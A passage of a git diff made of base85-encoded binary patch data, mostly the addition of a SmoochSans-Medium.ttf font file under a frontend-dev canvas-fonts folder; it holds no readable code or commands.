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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/SmoochSans-Medium.ttf b/skills/frontend-dev/canvas-fonts/SmoochSans-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..0af9ead07bc2b95a691a63c72d328595b93183a0 GIT binary patch literal 59704 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 